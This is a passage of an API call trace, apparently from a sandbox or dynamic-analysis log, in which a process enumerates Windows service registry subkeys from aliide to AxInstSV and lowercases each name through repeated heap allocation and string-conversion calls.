lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.701] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.702] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.703] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bb0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.707] RtlFreeHeap 